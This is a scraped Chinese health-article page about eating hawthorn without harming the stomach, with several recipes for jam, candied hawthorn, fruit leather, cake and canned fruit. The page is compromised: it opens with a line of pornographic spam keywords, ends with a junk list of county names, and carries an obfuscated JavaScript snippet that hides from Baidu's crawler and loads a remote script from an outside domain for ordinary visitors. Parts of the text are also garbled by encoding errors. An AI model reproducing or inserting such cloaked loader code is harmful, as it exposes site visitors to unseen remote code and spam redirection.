亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 飲食 > 健康飲食 > 正文

如何食用山楂不會(huì)傷及胃部

2016-03-07 19:03:22  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:中醫(yī)理論認(rèn)為,山楂具有很強(qiáng)的助消化功能,所以患胃病的人一般不宜空腹喝山楂茶。那么我們?nèi)绾问秤蒙介粋改兀?/div>

如何食用山楂不會(huì)傷及胃部

如何食用山楂不會(huì)傷及胃部

對于山楂的助消化功效相信大家都知道,按說它應(yīng)該是對胃部健康有益的食物,可是有些朋友卻因?yàn)轱嬘昧松介莸乃霈F(xiàn)了胃部不適的問題,這到底是怎么回事呢?我們?nèi)绾问秤蒙介粋改兀?/p>

山楂茶為何傷胃 山楂怎么吃比較好?

山楂中豐富的黃酮類及大量的維生素,能夠有效的阻止自由基的生成,增強(qiáng)身體免疫力。山楂甘酸微溫,是開胃消食,增強(qiáng)消化功能的良藥。不僅能夠調(diào)養(yǎng)氣色,同時(shí)還具有減肥瘦身的作用。山楂性微溫,服用之后具有活血、降壓以及消脂減肥還有止痢作用。

喝山楂茶確實(shí)能降血脂,在中醫(yī)典籍《黃帝內(nèi)經(jīng)》中就有相關(guān)記載。但山楂的作用首先是消食,在民間,無論小孩或成人,都一直有用山楂來消積食、促消化的傳統(tǒng)。

中醫(yī)理論認(rèn)為,山楂具有很強(qiáng)的助消化功能,所以患胃病的人一般不宜空腹喝山楂茶,特別是胃酸過多、胃炎、胃潰瘍、反流性胃炎、反流性食管炎患者,不適合飲用。想通過喝山楂茶降低血脂,不是短期內(nèi)就能達(dá)到的。要堅(jiān)持每天飲用,才能達(dá)到降血脂、軟化血管的作用。如果在山楂茶中配上可降壓的決明子、抗氧化的何首烏,效果會(huì)更好。每天使用的山楂劑量以25克為宜。

那么,新鮮山楂應(yīng)該怎么吃呢?

新鮮山楂怎么吃

第一:山楂果醬

材料:山楂、白砂糖、冰糖

做法:將新鮮的山楂清洗干凈,然后去除梗;將準(zhǔn)備好的山楂倒入不銹鋼鍋之中,加入適量的水分以及白砂糖大火熬煮,然后一邊攪拌,直到山楂軟爛(骨肉脫離)之后可以取出果核;在鍋中加入冰糖,然后繼續(xù)攪拌;等到湯汁變得非常濃稠之后就可以起鍋了’放量之后可以倒入碗中,隨后放入冰箱之中保存服用。

第二:炒紅果

材料:新鮮山楂、冰糖、水分

將新鮮的山楂清洗干凈,然后去除果核,并且用筷子從中間穿過去;將山楂放入砂鍋之總,加入2比1的水以及白砂糖大火燒開(建議使用鋁鍋或者是砂鍋,因?yàn)樯介珜儆谒嵝?,使用鐵鍋不利于健康);大火燒開之后變?yōu)樾』鹇裏酰昼娮笥揖涂梢云疱伭恕?/p>

第三:自制果丹皮

材料:新鮮山楂、檸檬、冰糖、白砂糖

做法:將新鮮的山楂清洗干凈之后用刀切開分為四塊,去除果核;將切好的山楂放入砂鍋之中,加入適量的清水,基本浸泡住山楂就可以了;大火燒開之后變?yōu)樾』鹇裏?在熬煮的過程中將檸檬對半切開,然后擠出檸檬汁;熬煮大約半個(gè)小時(shí),并且要一邊熬煮一邊攪拌;將煮好的山楂用漏斗進(jìn)行榨汁,然后用力擠壓,留下汁液;隨后在山楂汁之中加入白砂糖繼續(xù)熬煮,等到比較粘稠的時(shí)候就可以;將山楂殘骸放入烤箱之中烘烤;取出之后烘干一夜就可以直接服用了,也可以根據(jù)自己的喜好切成不同的形狀。

第四:山楂糕

材料:山楂、冰糖、水分、瓊脂

做法:將山楂清洗干凈,然后對半剖開去除果核;將山楂倒入不銹鋼鍋之中,加入適量的白砂糖攪拌均勻,然后用保鮮膜套好之后放入冰箱之中冷藏一天時(shí)間;將準(zhǔn)備好的山楂放入鍋中,加入適量的清水,然后放入冰糖,一邊小火熬煮一邊較慢;在山楂變得非常軟爛之后放入浸泡好的瓊脂;繼續(xù)攪拌,等到湯汁變得非常粘稠的時(shí)候就可以關(guān)火起鍋了;將做好的山楂汁放入碗中,完全冷卻之后放入冰箱之中冷藏半天,之后就可以直接服用了。

第五:山楂罐頭

材料:新鮮山楂、白糖、冰糖、清水

做法:將山楂清洗干凈,然后取出果核。在鍋中加入適量的清水,隨后放入準(zhǔn)備好的白糖以及冰糖;大火燒開之后繼續(xù)熬煮;等到湯汁變得稍微粘稠的時(shí)候放入準(zhǔn)備好的山楂,繼續(xù)熬煮十分鐘左右就可以起鍋了。

關(guān)于山楂的正確食用方法相信大家有所了解了,那么胃部健康不好的朋友們一定不要在空腹的時(shí)候飲用哦,否則會(huì)加重本身就有的病情,還會(huì)給自己帶來不適。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
鄱阳县| 延吉市| 扎鲁特旗| 广饶县| 中山市| 额济纳旗| 梧州市| 黑山县| 德安县| 镇平县| 山阴县| 宁陕县| 台北县| 安康市| 淮阳县| 夏河县| 区。| 平乡县| 玉门市| 太谷县| 元江| 东兰县| 泉州市| 恩平市| 英山县| 南陵县| 拜城县| 丰台区| 白城市| 昌江| 谷城县| 宝应县| 神木县| 武强县| 乌拉特中旗| 年辖:市辖区| 柏乡县| 行唐县| 和政县| 青海省| 大宁县|